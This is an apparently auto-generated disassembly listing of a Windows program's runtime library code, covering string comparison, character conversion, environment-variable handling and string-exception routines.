push ebp
push eax
push 0FFFFFFFFh
push dword ptr [esi]
push edi
push 1
call ebx ; WideCharToMultiByte
test eax, eax
jz short loc_42614E
push edi
push [esp+18h+var_4]
call sub_4263D0
mov eax, [esi+4]
add esi, 4
pop ecx
cmp eax, edi
pop ecx
jnz short loc_4260FE
loc_426146: ; CODE XREF: sub_4260E5+11j
xor eax, eax
loc_426148: ; CODE XREF: sub_4260E5+6Cj
pop edi
pop esi
pop ebp
pop ebx
pop ecx
retn
; ---------------------------------------------------------------------------
loc_42614E: ; CODE XREF: sub_4260E5+29j
; sub_4260E5+38j ...
or eax, 0FFFFFFFFh
jmp short loc_426148
sub_4260E5 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426153 proc near ; CODE XREF: sub_4260A6+27p
var_3C = dword ptr -3Ch
var_36 = byte ptr -36h
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_10 = dword ptr -10h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
arg_18 = dword ptr 20h
push ebp
mov ebp, esp
push 0FFFFFFFFh
push offset dword_428CF0
push offset sub_4237BC
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 30h
push ebx
push esi
push edi
mov [ebp+var_18], esp
xor ebx, ebx
cmp ds:dword_4DE1C8, ebx
push 1
pop edi
jnz short loc_4261C6
push edi
mov eax, offset dword_428940
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_428008 ; CompareStringW
test eax, eax
jz short loc_4261A3
mov ds:dword_4DE1C8, edi
jmp short loc_4261C6
; ---------------------------------------------------------------------------
loc_4261A3: ; CODE XREF: sub_426153+46j
push edi
mov eax, offset dword_4CDAB0
push eax
push edi
push eax
push ebx
push ebx
call ds:dword_42800C ; CompareStringA
test eax, eax
jz loc_4263BC
mov ds:dword_4DE1C8, 2
loc_4261C6: ; CODE XREF: sub_426153+31j
; sub_426153+4Ej
mov esi, [ebp+arg_C]
cmp esi, ebx
jle short loc_4261DD
push esi
push [ebp+arg_8]
call sub_422FC7
pop ecx
pop ecx
mov esi, eax
mov [ebp+arg_C], esi
loc_4261DD: ; CODE XREF: sub_426153+78j
cmp [ebp+arg_14], ebx
jle short loc_4261F2
push [ebp+arg_14]
push [ebp+arg_10]
call sub_422FC7
pop ecx
pop ecx
mov [ebp+arg_14], eax
loc_4261F2: ; CODE XREF: sub_426153+8Dj
mov eax, ds:dword_4DE1C8
cmp eax, 2
jnz short loc_426217
push [ebp+arg_14]
push [ebp+arg_10]
push esi
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_42800C ; CompareStringA
jmp loc_4263BE
; ---------------------------------------------------------------------------
loc_426217: ; CODE XREF: sub_426153+A7j
cmp eax, edi
jnz loc_4263BC
cmp [ebp+arg_18], ebx
jnz short loc_42622C
mov eax, ds:dword_4DDF84
mov [ebp+arg_18], eax
loc_42622C: ; CODE XREF: sub_426153+CFj
cmp esi, ebx
jz short loc_426239
cmp [ebp+arg_14], ebx
jnz loc_4262D1
loc_426239: ; CODE XREF: sub_426153+DBj
cmp esi, [ebp+arg_14]
jnz short loc_426246
loc_42623E: ; CODE XREF: sub_426153+13Cj
; sub_426153+16Dj
push 2
loc_426240: ; CODE XREF: sub_426153+146j
pop eax
jmp loc_4263BE
; ---------------------------------------------------------------------------
loc_426246: ; CODE XREF: sub_426153+E9j
cmp [ebp+arg_14], edi
jle short loc_426252
loc_42624B: ; CODE XREF: sub_426153+151j
; sub_426153+159j ...
mov eax, edi
jmp loc_4263BE
; ---------------------------------------------------------------------------
loc_426252: ; CODE XREF: sub_426153+F6j
cmp esi, edi
jg short loc_426297
lea eax, [ebp+var_3C]
push eax
push [ebp+arg_18]
call near ptr 0B10000h
xor eax, 840FC085h
push ecx
add [eax], eax
add [ebx], bh
rep jle short loc_42629B
cmp [ebp+var_3C], 2
jb short loc_426297
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_426297
loc_42627D: ; CODE XREF: sub_426153+142j
mov dl, [eax+1]
cmp dl, bl
jz short loc_426297
mov ecx, [ebp+arg_8]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_426291
cmp cl, dl
jbe short loc_42623E
loc_426291: ; CODE XREF: sub_426153+138j
inc eax
inc eax
cmp [eax], bl
jnz short loc_42627D
loc_426297: ; CODE XREF: sub_426153+101j
; sub_426153+120j ...
push 3
jmp short loc_426240
; ---------------------------------------------------------------------------
loc_42629B: ; CODE XREF: sub_426153+119j
cmp [ebp+arg_14], ebx
jle short loc_4262D1
cmp [ebp+var_3C], 2
jb short loc_42624B
lea eax, [ebp+var_36]
cmp [ebp+var_36], bl
jz short loc_42624B
loc_4262AE: ; CODE XREF: sub_426153+177j
mov dl, [eax+1]
cmp dl, bl
jz short loc_42624B
mov ecx, [ebp+arg_10]
mov cl, [ecx]
cmp cl, [eax]
jb short loc_4262C6
cmp cl, dl
jbe loc_42623E
loc_4262C6: ; CODE XREF: sub_426153+169j
inc eax
inc eax
cmp [eax], bl
jnz short loc_4262AE
jmp loc_42624B
; ---------------------------------------------------------------------------
loc_4262D1: ; CODE XREF: sub_426153+E0j
; sub_426153+14Bj
push ebx
push ebx
push esi
push [ebp+arg_8]
push 9
push [ebp+arg_18]
call ds:dword_428184 ; MultiByteToWideChar
mov [ebp+var_1C], eax
cmp eax, ebx
jz loc_4263BC
mov [ebp+var_4], ebx
add eax, eax
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov eax, esp
mov [ebp+var_24], eax
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_426320
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
mov [ebp+var_24], ebx
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+arg_C]
push 1
pop edi
loc_426320: ; CODE XREF: sub_426153+1B5j
cmp [ebp+var_24], ebx
jz loc_4263BC
push [ebp+var_1C]
push [ebp+var_24]
push esi
push [ebp+arg_8]
push edi
push [ebp+arg_18]
mov esi, ds:dword_428184
call esi ; MultiByteToWideChar
test eax, eax
jz short loc_4263BC
push ebx
push ebx
push [ebp+arg_14]
push [ebp+arg_10]
push 9
push [ebp+arg_18]
call esi ; MultiByteToWideChar
mov esi, eax
mov [ebp+var_20], esi
cmp esi, ebx
jz short loc_4263BC
mov [ebp+var_4], edi
lea eax, [esi+esi]
add eax, 3
and al, 0FCh
call sub_41BD10
mov [ebp+var_18], esp
mov edi, esp
mov [ebp+var_28], edi
or [ebp+var_4], 0FFFFFFFFh
jmp short loc_42638B
; ---------------------------------------------------------------------------
push 1
pop eax
retn
; ---------------------------------------------------------------------------
mov esp, [ebp+var_18]
xor ebx, ebx
xor edi, edi
or [ebp+var_4], 0FFFFFFFFh
mov esi, [ebp+var_20]
loc_42638B: ; CODE XREF: sub_426153+224j
cmp edi, ebx
jz short loc_4263BC
push esi
push edi
push [ebp+arg_14]
push [ebp+arg_10]
push 1
push [ebp+arg_18]
call ds:dword_428184 ; MultiByteToWideChar
test eax, eax
jz short loc_4263BC
push esi
push edi
push [ebp+var_1C]
push [ebp+var_24]
push [ebp+arg_4]
push [ebp+arg_0]
call ds:dword_428008 ; CompareStringW
jmp short loc_4263BE
; ---------------------------------------------------------------------------
loc_4263BC: ; CODE XREF: sub_426153+63j
; sub_426153+C6j ...
xor eax, eax
loc_4263BE: ; CODE XREF: sub_426153+BFj
; sub_426153+EEj ...
lea esp, [ebp-4Ch]
mov ecx, [ebp+var_10]
mov large fs:0, ecx
pop edi
pop esi
pop ebx
leave
retn
sub_426153 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4263D0 proc near ; CODE XREF: sub_4260E5+50p
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
push ecx
push ecx
push ebx
push esi
push edi
xor edi, edi
cmp [ebp+arg_0], edi
jz short loc_426434
push 3Dh
push [ebp+arg_0]
call sub_426616
mov esi, eax
pop ecx
cmp esi, edi
pop ecx
mov [ebp+var_8], esi
jz short loc_426434
cmp [ebp+arg_0], esi
jz short loc_426434
mov eax, ds:dword_4DDEDC
xor ebx, ebx
cmp [esi+1], bl
setz bl
cmp eax, ds:dword_4DDEE0
jnz short loc_42641A
push eax
call sub_4265AF
pop ecx
mov ds:dword_4DDEDC, eax
loc_42641A: ; CODE XREF: sub_4263D0+3Cj
cmp eax, edi
jnz short loc_426472
cmp [ebp+arg_4], edi
jz short loc_42643C
cmp ds:dword_4DDEE4, edi
jz short loc_42643C
call sub_4260E5
test eax, eax
jz short loc_426472
loc_426434: ; CODE XREF: sub_4263D0+Dj
; sub_4263D0+22j ...
or eax, 0FFFFFFFFh
loc_426437: ; CODE XREF: sub_4263D0+182j
pop edi
pop esi
pop ebx
leave
retn
; ---------------------------------------------------------------------------
loc_42643C: ; CODE XREF: sub_4263D0+51j
; sub_4263D0+59j
cmp ebx, edi
jnz loc_426550
push 4
call sub_41B6C5
cmp eax, edi
pop ecx
mov ds:dword_4DDEDC, eax
jz short loc_426434
mov [eax], edi
cmp ds:dword_4DDEE4, edi
jnz short loc_426472
push 4
call sub_41B6C5
cmp eax, edi
pop ecx
mov ds:dword_4DDEE4, eax
jz short loc_426434
mov [eax], edi
loc_426472: ; CODE XREF: sub_4263D0+4Cj
; sub_4263D0+62j ...
sub esi, [ebp+arg_0]
mov edi, ds:dword_4DDEDC
mov [ebp+var_4], edi
push esi
push [ebp+arg_0]
call sub_426557
mov esi, eax
pop ecx
test esi, esi
pop ecx
jl short loc_4264D2
cmp dword ptr [edi], 0
jz short loc_4264D2
test ebx, ebx
jz short loc_4264CA
push dword ptr [edi+esi*4]
lea edi, [edi+esi*4]
call sub_41B2A1
pop ecx
loc_4264A4: ; CODE XREF: sub_4263D0+E2j
cmp dword ptr [edi], 0
jz short loc_4264B4
mov eax, [edi+4]
inc esi
mov [edi], eax
add edi, 4
jmp short loc_4264A4
; ---------------------------------------------------------------------------
loc_4264B4: ; CODE XREF: sub_4263D0+D7j
mov eax, esi
shl eax, 2
push eax
push [ebp+var_4]
call sub_41B3F2
pop ecx
test eax, eax
pop ecx
jz short loc_426504
jmp short loc_4264FF
; ---------------------------------------------------------------------------
loc_4264CA: ; CODE XREF: sub_4263D0+C6j
mov eax, [ebp+arg_0]
mov [edi+esi*4], eax
jmp short loc_426504
; ---------------------------------------------------------------------------
loc_4264D2: ; CODE XREF: sub_4263D0+BDj
; sub_4263D0+C2j
test ebx, ebx
jnz short loc_426550
test esi, esi
jge short loc_4264DC
neg esi
loc_4264DC: ; CODE XREF: sub_4263D0+108j
lea eax, ds:8[esi*4]
push eax
push edi
call sub_41B3F2
pop ecx
test eax, eax
pop ecx
jz loc_426434
mov ecx, [ebp+arg_0]
mov [eax+esi*4], ecx
and dword ptr [eax+esi*4+4], 0
loc_4264FF: ; CODE XREF: sub_4263D0+F8j
mov ds:dword_4DDEDC, eax
loc_426504: ; CODE XREF: sub_4263D0+F6j
; sub_4263D0+100j
cmp [ebp+arg_4], 0
jz short loc_426550
push [ebp+arg_0]
call sub_41B1D0
inc eax
inc eax
push eax
call sub_41B6C5
mov esi, eax
pop ecx
test esi, esi
pop ecx
jz short loc_426550
push [ebp+arg_0]
push esi
call sub_41C0A0
mov eax, esi
pop ecx
sub eax, [ebp+arg_0]
pop ecx
add eax, [ebp+var_8]
and byte ptr [eax], 0
inc eax
neg ebx
sbb ebx, ebx
not ebx
and ebx, eax
push ebx
push esi
call near ptr 0B10000h
and al, 56h
call sub_41B2A1
pop ecx
loc_426550: ; CODE XREF: sub_4263D0+6Ej
; sub_4263D0+104j ...
xor eax, eax
jmp loc_426437
sub_4263D0 endp
; =============== S U B R O U T I N E =======================================
sub_426557 proc near ; CODE XREF: sub_4263D0+B2p
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
mov esi, ds:dword_4DDEDC
push edi
mov eax, [esi]
test eax, eax
jz short loc_426592
mov edi, [esp+8+arg_4]
loc_426569: ; CODE XREF: sub_426557+39j
push edi
push eax
push [esp+10h+arg_0]
call sub_4260A6
add esp, 0Ch
test eax, eax
jnz short loc_426588
mov eax, [esi]
mov al, [eax+edi]
cmp al, 3Dh
jz short loc_4265A2
test al, al
jz short loc_4265A2
loc_426588: ; CODE XREF: sub_426557+22j
mov eax, [esi+4]
add esi, 4
test eax, eax
jnz short loc_426569
loc_426592: ; CODE XREF: sub_426557+Cj
mov eax, esi
sub eax, ds:dword_4DDEDC
sar eax, 2
neg eax
loc_42659F: ; CODE XREF: sub_426557+56j
pop edi
pop esi
retn
; ---------------------------------------------------------------------------
loc_4265A2: ; CODE XREF: sub_426557+2Bj
; sub_426557+2Fj
mov eax, esi
sub eax, ds:dword_4DDEDC
sar eax, 2
jmp short loc_42659F
sub_426557 endp
; =============== S U B R O U T I N E =======================================
sub_4265AF proc near ; CODE XREF: sub_4263D0+3Fp
arg_0 = dword ptr 4
push edi
mov edi, [esp+4+arg_0]
xor ecx, ecx
test edi, edi
jnz short loc_4265BE
xor eax, eax
pop edi
retn
; ---------------------------------------------------------------------------
loc_4265BE: ; CODE XREF: sub_4265AF+9j
cmp dword ptr [edi], 0
lea eax, [edi+4]
jz short loc_4265D0
loc_4265C6: ; CODE XREF: sub_4265AF+1Fj
mov edx, [eax]
inc ecx
add eax, 4
test edx, edx
jnz short loc_4265C6
loc_4265D0: ; CODE XREF: sub_4265AF+15j
push ebx
push ebp
lea eax, ds:4[ecx*4]
push esi
push eax
call sub_41B6C5
mov esi, eax
pop ecx
test esi, esi
mov ebp, esi
jnz short loc_4265F1
push 9
call sub_41DC49
pop ecx
loc_4265F1: ; CODE XREF: sub_4265AF+38j
mov eax, [edi]
mov ebx, edi
loc_4265F5: ; CODE XREF: sub_4265AF+5Bj
test eax, eax
jz short loc_42660C
push eax
add ebx, 4
call sub_426689
mov [esi], eax
mov eax, [ebx]
pop ecx
add esi, 4
jmp short loc_4265F5
; ---------------------------------------------------------------------------
loc_42660C: ; CODE XREF: sub_4265AF+48j
and dword ptr [esi], 0
mov eax, ebp
pop esi
pop ebp
pop ebx
pop edi
retn
sub_4265AF endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426616 proc near ; CODE XREF: sub_4263D0+14p
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
cmp ds:dword_4DF31C, 0
jnz short loc_426631
push [ebp+arg_4]
push [ebp+arg_0]
call sub_41C1A0
pop ecx
pop ecx
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426631: ; CODE XREF: sub_426616+Aj
mov ecx, [ebp+arg_0]
loc_426634: ; CODE XREF: sub_426616+56j
movzx ax, byte ptr [ecx]
test ax, ax
jz short loc_426677
movzx edx, al
test ds:byte_4DF421[edx], 4
jz short loc_426663
mov dl, [ecx+1]
inc ecx
test dl, dl
jz short loc_42666E
movzx eax, ax
movzx edx, dl
shl eax, 8
or eax, edx
cmp [ebp+arg_4], eax
jz short loc_426672
jmp short loc_42666B
; ---------------------------------------------------------------------------
loc_426663: ; CODE XREF: sub_426616+31j
movzx edx, ax
cmp [ebp+arg_4], edx
jz short loc_426677
loc_42666B: ; CODE XREF: sub_426616+4Bj
inc ecx
jmp short loc_426634
; ---------------------------------------------------------------------------
loc_42666E: ; CODE XREF: sub_426616+39j
xor eax, eax
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426672: ; CODE XREF: sub_426616+49j
lea eax, [ecx-1]
pop ebp
retn
; ---------------------------------------------------------------------------
loc_426677: ; CODE XREF: sub_426616+25j
; sub_426616+53j
movzx edx, ax
mov eax, [ebp+arg_4]
sub eax, edx
neg eax
sbb eax, eax
not eax
and eax, ecx
pop ebp
retn
sub_426616 endp
; =============== S U B R O U T I N E =======================================
sub_426689 proc near ; CODE XREF: sub_4180DD+21p
; sub_4265AF+4Ep
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
test esi, esi
jz short loc_4266B0
push esi
call sub_41B1D0
inc eax
push eax
call sub_41B6C5
pop ecx
test eax, eax
pop ecx
jz short loc_4266B0
push esi
push eax
call sub_41C0A0
pop ecx
pop ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_4266B0: ; CODE XREF: sub_426689+7j
; sub_426689+1Aj
xor eax, eax
pop esi
retn
sub_426689 endp
; ---------------------------------------------------------------------------
align 10h
; =============== S U B R O U T I N E =======================================
sub_4266C0 proc near ; CODE XREF: sub_40D2F4+12p
; sub_40D34E+12p ...
mov eax, offset loc_4270F8
call sub_41CE54
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D4F9
mov esi, offset aStringTooLong ; "string too long"
push esi
call sub_41B1D0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D531
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42671A
lea eax, [ebp-3Ch]
push offset dword_429078
push eax
mov dword ptr [ebp-3Ch], offset off_428D0C
call sub_426B9B
pop esi
sub_4266C0 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_42671A proc near ; CODE XREF: sub_4266C0+3Fp
; sub_4268EC+3Fp
mov eax, offset loc_42710C
call sub_41CE54
push ecx
push ecx
push ebx
push esi
lea eax, [ebp-10h]
push edi
mov esi, ecx
push eax
mov [ebp-14h], esi
mov dword ptr [ebp-10h], offset dword_43FDB4
call sub_426AC0
mov ebx, [ebp+8]
and dword ptr [ebp-4], 0
lea edi, [esi+0Ch]
push 0
mov al, [ebx]
mov ecx, edi
mov [edi], al
call sub_40D4F9
push ds:dword_428D38
mov ecx, edi
push 0
push ebx
call sub_40D3A6
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_428D2C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_42671A endp
; =============== S U B R O U T I N E =======================================
sub_42677E proc near ; DATA XREF: seg001:00428D10o
; seg001:00428D30o ...
mov eax, [ecx+10h]
test eax, eax
jnz short locret_42678A
mov eax, offset dword_4286A8
locret_42678A: ; CODE XREF: sub_42677E+5j
retn
sub_42677E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42678B proc near ; DATA XREF: seg001:00428D34o
var_1C = byte ptr -1Ch
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_426801
lea eax, [ebp+var_1C]
push offset dword_4290E8
push eax
call sub_426B9B
sub_42678B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4267A8 proc near ; CODE XREF: seg000:004267E8p
; DATA XREF: seg001:004290ECo
mov eax, offset loc_427120
call sub_41CE54
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D2C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D4F9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426B47
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_4267A8 endp
; ---------------------------------------------------------------------------
loc_4267E5: ; DATA XREF: seg001:off_428D2Co
push esi
mov esi, ecx
call sub_4267A8
test byte ptr [esp+8], 1
jz short loc_4267FB
push esi
call sub_41CE73
pop ecx
loc_4267FB: ; CODE XREF: seg000:004267F2j
mov eax, esi
pop esi
retn 4
; =============== S U B R O U T I N E =======================================
sub_426801 proc near ; CODE XREF: sub_42678B+Ap
; sub_4268D4+7p ...
mov eax, offset loc_427134
call sub_41CE54
push ecx
push ebx
mov ebx, [ebp+8]
push esi
push edi
mov esi, ecx
push ebx
mov [ebp-10h], esi
call sub_426AFD
mov al, [ebx+0Ch]
and dword ptr [ebp-4], 0
add ebx, 0Ch
lea edi, [esi+0Ch]
push 0
mov ecx, edi
mov [edi], al
call sub_40D4F9
push ds:dword_428D38
mov ecx, edi
push 0
push ebx
call sub_40D3A6
mov ecx, [ebp-0Ch]
mov dword ptr [esi], offset off_428D2C
mov eax, esi
pop edi
pop esi
pop ebx
mov large fs:0, ecx
leave
retn 4
sub_426801 endp
; =============== S U B R O U T I N E =======================================
sub_42685E proc near ; CODE XREF: sub_42689B+20p
; DATA XREF: seg001:0042907Co
mov eax, offset loc_427148
call sub_41CE54
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D2C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D4F9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426B47
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_42685E endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42689B proc near ; DATA XREF: seg001:00428D14o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4268D4
lea eax, [ebp+var_1C]
push offset dword_429078
push eax
call sub_426B9B
loc_4268B8: ; DATA XREF: seg001:off_428D0Co
push esi
mov esi, ecx
call sub_42685E
test [esp+20h+var_18], 1
jz short loc_4268CE
push esi
call sub_41CE73
pop ecx
loc_4268CE: ; CODE XREF: sub_42689B+2Aj
mov eax, esi
pop esi
retn 4
sub_42689B endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4268D4 proc near ; CODE XREF: sub_42689B+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_426801
mov dword ptr [esi], offset off_428D0C
mov eax, esi
pop esi
retn 4
sub_4268D4 endp
; =============== S U B R O U T I N E =======================================
sub_4268EC proc near ; CODE XREF: sub_40D3A6+13p
; sub_40D566+Ep
mov eax, offset loc_42715C
call sub_41CE54
sub esp, 30h
mov al, [ebp-0Dh]
push esi
push 0
lea ecx, [ebp-20h]
mov [ebp-20h], al
call sub_40D4F9
mov esi, offset aInvalidStringP ; "invalid string position"
push esi
call sub_41B1D0
pop ecx
push eax
push esi
lea ecx, [ebp-20h]
call sub_40D531
and dword ptr [ebp-4], 0
lea eax, [ebp-20h]
push eax
lea ecx, [ebp-3Ch]
call sub_42671A
lea eax, [ebp-3Ch]
push offset dword_4291A0
push eax
mov dword ptr [ebp-3Ch], offset off_428D40
call sub_426B9B
pop esi
sub_4268EC endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_426946 proc near ; CODE XREF: sub_426983+20p
; DATA XREF: seg001:004291A4o
mov eax, offset loc_427170
call sub_41CE54
push ecx
push esi
mov esi, ecx
mov [ebp-10h], esi
mov dword ptr [esi], offset off_428D2C
and dword ptr [ebp-4], 0
push 1
lea ecx, [esi+0Ch]
call sub_40D4F9
or dword ptr [ebp-4], 0FFFFFFFFh
mov ecx, esi
call sub_426B47
mov ecx, [ebp-0Ch]
pop esi
mov large fs:0, ecx
leave
retn
sub_426946 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_426983 proc near ; DATA XREF: seg001:00428D48o
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
push ebp
mov ebp, esp
sub esp, 1Ch
push ecx
lea ecx, [ebp+var_1C]
call sub_4269BC
lea eax, [ebp+var_1C]
push offset dword_4291A0
push eax
call sub_426B9B
loc_4269A0: ; DATA XREF: seg001:off_428D40o
push esi
mov esi, ecx
call sub_426946
test [esp+20h+var_18], 1
jz short loc_4269B6
push esi
call sub_41CE73
pop ecx
loc_4269B6: ; CODE XREF: sub_426983+2Aj
mov eax, esi
pop esi
retn 4
sub_426983 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
sub_4269BC proc near ; CODE XREF: sub_426983+Ap
arg_0 = dword ptr 4
push esi
mov esi, ecx
push [esp+4+arg_0]
call sub_426801
mov dword ptr [esi], offset off_428D40
mov eax, esi
pop esi
retn 4
sub_4269BC endp
; =============== S U B R O U T I N E =======================================
sub_4269D4 proc near ; DATA XREF: seg002:0042A014o
; FUNCTION CHUNK AT 00426A0A SIZE 0000000C BYTES
test ds:byte_4DE1D4, 1
jnz short loc_4269E4
or ds:byte_4DE1D4, 1
loc_4269E4: ; CODE XREF: sub_4269D4+7j
call sub_4269FE
test ds:byte_4DF560, 1
jnz short loc_4269F9
or ds:byte_4DF560, 1
loc_4269F9: ; CODE XREF: sub_4269D4+1Cj
jmp loc_426A0A
sub_4269D4 endp
; =============== S U B R O U T I N E =======================================
sub_4269FE proc near ; CODE XREF: sub_4269D4:loc_4269E4p
push offset nullsub_1
call sub_41D230
pop ecx
retn
sub_4269FE endp
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_4269D4
loc_426A0A: ; CODE XREF: sub_4269D4:loc_4269F9j
push offset nullsub_1
call sub_41D230
pop ecx
retn
; END OF FUNCTION CHUNK FOR sub_4269D4
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_1. PRESS KEYPAD "+" TO EXPAND]
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A18 proc near ; CODE XREF: sub_40CC86+5Ep
; sub_40ED60+148p ...
jmp ds:dword_42822C
sub_426A18 endp
; =============== S U B R O U T I N E =======================================
; Attributes: thunk
sub_426A1E proc near ; CODE XREF: sub_41CAC0+23p
; sub_41CD64+13p
jmp ds:dword_4281A0
sub_426A1E endp
; =============== S U B R O U T I N E =======================================
sub_426A24 proc near ; CODE XREF: sub_4172D8+E2p
; sub_4172D8+F9p ...
arg_0 = dword ptr 4
arg_4 = dword ptr 8
cmp ds:dword_4DDF74, 0
push ebx
jnz short loc_426A6A
mov edx, [esp+4+arg_4]
mov ecx, [esp+4+arg_0]
loc_426A36: ; CODE XREF: sub_426A24+42j
mov bx, [ecx]
cmp bx, 5Ah
ja short loc_426A48
cmp bx, 41h
jb short loc_426A48
add ebx, 20h
loc_426A48: ; CODE XREF: sub_426A24+19j
; sub_426A24+1Fj
mov ax, [edx]
cmp ax, 5Ah
ja short loc_426A5A
cmp ax, 41h
jb short loc_426A5A
add eax, 20h
loc_426A5A: ; CODE XREF: sub_426A24+2Bj
; sub_426A24+31j
inc ecx
inc ecx
inc edx
inc edx
test bx, bx
jz short loc_426A9A
cmp bx, ax
jz short loc_426A36
jmp short loc_426A9A
; ---------------------------------------------------------------------------
loc_426A6A: ; CODE XREF: sub_426A24+8j
push esi
mov esi, [esp+8+arg_0]
push edi
mov edi, [esp+0Ch+arg_4]
loc_426A74: ; CODE XREF: sub_426A24+72j
mov ax, [esi]
inc esi
push eax
inc esi
call sub_426BD5
mov ebx, eax
mov ax, [edi]
inc edi
push eax
inc edi
call sub_426BD5
pop ecx
test bx, bx
pop ecx
jz short loc_426A98
cmp bx, ax
jz short loc_426A74
loc_426A98: ; CODE XREF: sub_426A24+6Dj
pop edi
pop esi
loc_426A9A: ; CODE XREF: sub_426A24+3Dj
; sub_426A24+44j
movzx ecx, ax
movzx eax, bx
sub eax, ecx
pop ebx
retn
sub_426A24 endp
; =============== S U B R O U T I N E =======================================
sub_426AA4 proc near ; DATA XREF: seg001:off_428D68o
arg_0 = byte ptr 4
push esi
mov esi, ecx
call sub_426B47
test [esp+4+arg_0], 1
jz short loc_426ABA
push esi
call sub_41CE73
pop ecx
loc_426ABA: ; CODE XREF: sub_426AA4+Dj
mov eax, esi
pop esi
retn 4
sub_426AA4 endp
; =============== S U B R O U T I N E =======================================
sub_426AC0 proc near ; CODE XREF: sub_42671A+1Fp
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D68
push dword ptr [edi]
call sub_41B1D0
inc eax
push eax
call sub_41D1B5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426AEF
push dword ptr [edi]
push eax
call sub_41C0A0
pop ecx
pop ecx
loc_426AEF: ; CODE XREF: sub_426AC0+23j
mov dword ptr [esi+8], 1
mov eax, esi
pop edi
pop esi
retn 4
sub_426AC0 endp
; =============== S U B R O U T I N E =======================================
sub_426AFD proc near ; CODE XREF: sub_426801+17p
arg_0 = dword ptr 4
push esi
push edi
mov edi, [esp+8+arg_0]
mov esi, ecx
mov dword ptr [esi], offset off_428D68
mov eax, [edi+8]
test eax, eax
mov [esi+8], eax
jz short loc_426B3A
push dword ptr [edi+4]
call sub_41B1D0
inc eax
push eax
call sub_41D1B5
pop ecx
mov [esi+4], eax
test eax, eax
pop ecx
jz short loc_426B40
push dword ptr [edi+4]
push eax
call sub_41C0A0
pop ecx
pop ecx
jmp short loc_426B40
; ---------------------------------------------------------------------------
loc_426B3A: ; CODE XREF: sub_426AFD+16j
mov eax, [edi+4]
mov [esi+4], eax
loc_426B40: ; CODE XREF: sub_426AFD+2Ej
; sub_426AFD+3Bj
mov eax, esi
pop edi
pop esi
retn 4
sub_426AFD endp
; =============== S U B R O U T I N E =======================================
sub_426B47 proc near ; CODE XREF: sub_4267A8+2Bp
; sub_42685E+2Bp ...
cmp dword ptr [ecx+8], 0
mov dword ptr [ecx], offset off_428D68
jz short locret_426B5C
push dword ptr [ecx+4]
call sub_41CE73
pop ecx
locret_426B5C: ; CODE XREF: sub_426B47+Aj
retn
sub_426B47 endp
; =============== S U B R O U T I N E =======================================
sub_426B5D proc near ; DATA XREF: seg001:00428D6Co
mov eax, [ecx+4]
test eax, eax
